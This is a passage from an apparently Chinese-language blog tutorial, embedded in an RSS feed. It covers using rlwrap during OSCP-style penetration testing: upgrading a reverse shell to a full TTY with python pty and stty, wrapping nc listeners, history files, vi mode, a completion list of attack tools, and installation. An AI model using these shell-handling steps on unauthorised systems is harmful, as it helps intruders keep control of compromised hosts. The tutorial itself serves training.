&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;python3 -c &lt;span class="s1"&gt;&amp;#39;import pty; pty.spawn(&amp;#34;/bin/bash&amp;#34;)&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Ctrl-Z（挂起到攻击机 nc 里）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;stty raw -echo
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;fg&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 回车后回到靶机 shell，现在有：Tab 补全 + 历史 + Ctrl-C 中断 + Ctrl-L 清屏&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
 &lt;blockquote&gt;
 &lt;p&gt;完整 TTY 是 &lt;code&gt;rlwrap&lt;/code&gt; + &lt;code&gt;stty raw -echo; fg&lt;/code&gt; + python pty 的组合拳，缺一不可。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="52-找历史文件位置"&gt;5.2 找历史文件位置
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ls -la ~/.rlwrap_history_*
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 或&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;ls -la ~/.rlwrap/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;历史是&lt;strong&gt;按被包装的命令名&lt;/strong&gt;自动分文件的：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;~/.rlwrap_history_nc
~/.rlwrap_history_python
~/.rlwrap_history_mysql
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;想清空某次操作的历史：直接删对应文件。&lt;/p&gt;
&lt;h3 id="53-配合-vim-风格快捷键"&gt;5.3 配合 vim 风格快捷键
&lt;/h3&gt;&lt;p&gt;rlwrap 默认是 emacs 风格（Ctrl-A 到行首、Ctrl-E 到行尾、Ctrl-F/B 移光标）。可以切到 vi 模式：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 临时（只对这次 rlwrap 会话生效）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;rlwrap --setenv&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;INPUTRC=~/.inputrc_vi&amp;#39;&lt;/span&gt; nc -lvnp &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 永久：在 ~/.inputrc 里加&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; editing-mode vi
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="54-配补全词表提效"&gt;5.4 配补全词表提效
&lt;/h3&gt;&lt;p&gt;把常用命令写进文件：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; /tmp/oscp_cmds.txt &lt;span class="s"&gt;&amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;nmap
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;nc
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;ncat
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;sqlmap
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;nikto
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;gobuster
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;hydra
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;john
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;hashcat
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;msfconsole
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;searchsploit
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;curl
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;wget
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;python3
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -f /tmp/oscp_cmds.txt -i bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;code&gt;bash&lt;/code&gt; 自带 readline 这个其实意义不大，但&lt;strong&gt;对&lt;/strong&gt;各种&lt;strong&gt;自定义工具&lt;/strong&gt;就有用了。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="55-防-esc-转义意外触发-readline"&gt;5.5 防 ESC 转义意外触发 readline
&lt;/h3&gt;&lt;p&gt;如果你的工具原本的输出里有大量 ESC 序列（颜色、终端控制），rlwrap 可能误读成用户输入。可以用 &lt;code&gt;-z&lt;/code&gt; 过滤：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 把所有 ESC 字符从输出里剥掉（但保留给程序自己）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -z &lt;span class="s1"&gt;&amp;#39;\x1b&amp;#39;&lt;/span&gt; nc ...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="6-安装"&gt;6. 安装
&lt;/h2&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://github.com/hanslub42/rlwrap" target="_blank" rel="noopener"
 &gt;https://github.com/hanslub42/rlwrap&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;系统&lt;/th&gt;
 &lt;th&gt;命令&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;Kali / Debian&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;sudo apt install rlwrap&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Ubuntu&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;sudo apt install rlwrap&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;CentOS / RHEL&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;sudo yum install epel-release &amp;amp;&amp;amp; sudo yum install rlwrap&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Arch&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;sudo pacman -S rlwrap&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;macOS (Homebrew)&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;brew install rlwrap&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;源码&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;git clone https://github.com/hanslub42/rlwrap &amp;amp;&amp;amp; cd rlwrap &amp;amp;&amp;amp; autoreconf -i &amp;amp;&amp;amp; ./configure &amp;amp;&amp;amp; make &amp;amp;&amp;amp; sudo make install&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;

 &lt;blockquote&gt;
 &lt;p&gt;Kali 默认就装了。&lt;strong&gt;首次启动可能 warn &lt;code&gt;libreadline&lt;/code&gt; 版本不匹配&lt;/strong&gt;，但实际不影响使用，加 &lt;code&gt;--no-warnings&lt;/code&gt; 屏蔽。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="7-为什么-oscp--实战离不开它"&gt;7. 为什么 OSCP / 实战离不开它
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;拿 &lt;code&gt;sh&lt;/code&gt; 反弹没有方向键 → &lt;strong&gt;rlwrap&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;nc 监听器有几百条历史命令 → &lt;strong&gt;rlwrap&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;smbclient / mysql 交互不带 readline → &lt;strong&gt;rlwrap&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;自定义 exp 工具靠 stdin 反复输 payload → &lt;strong&gt;rlwrap&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;想升级到完整 TTY 又不想记 stty 三板斧 → &lt;strong&gt;rlwrap + python pty + stty raw -echo; fg&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;一句话总结&lt;/strong&gt;：任何&amp;quot;在终端里能让你按 ↑ 翻命令、按 Tab 补全&amp;quot;的需求，如果那个程序自己不支持，&lt;strong&gt;套一层 &lt;code&gt;rlwrap&lt;/code&gt; 就有了&lt;/strong&gt;。&lt;/p&gt;

 &lt;/blockquote&gt;</description></item></channel></rss>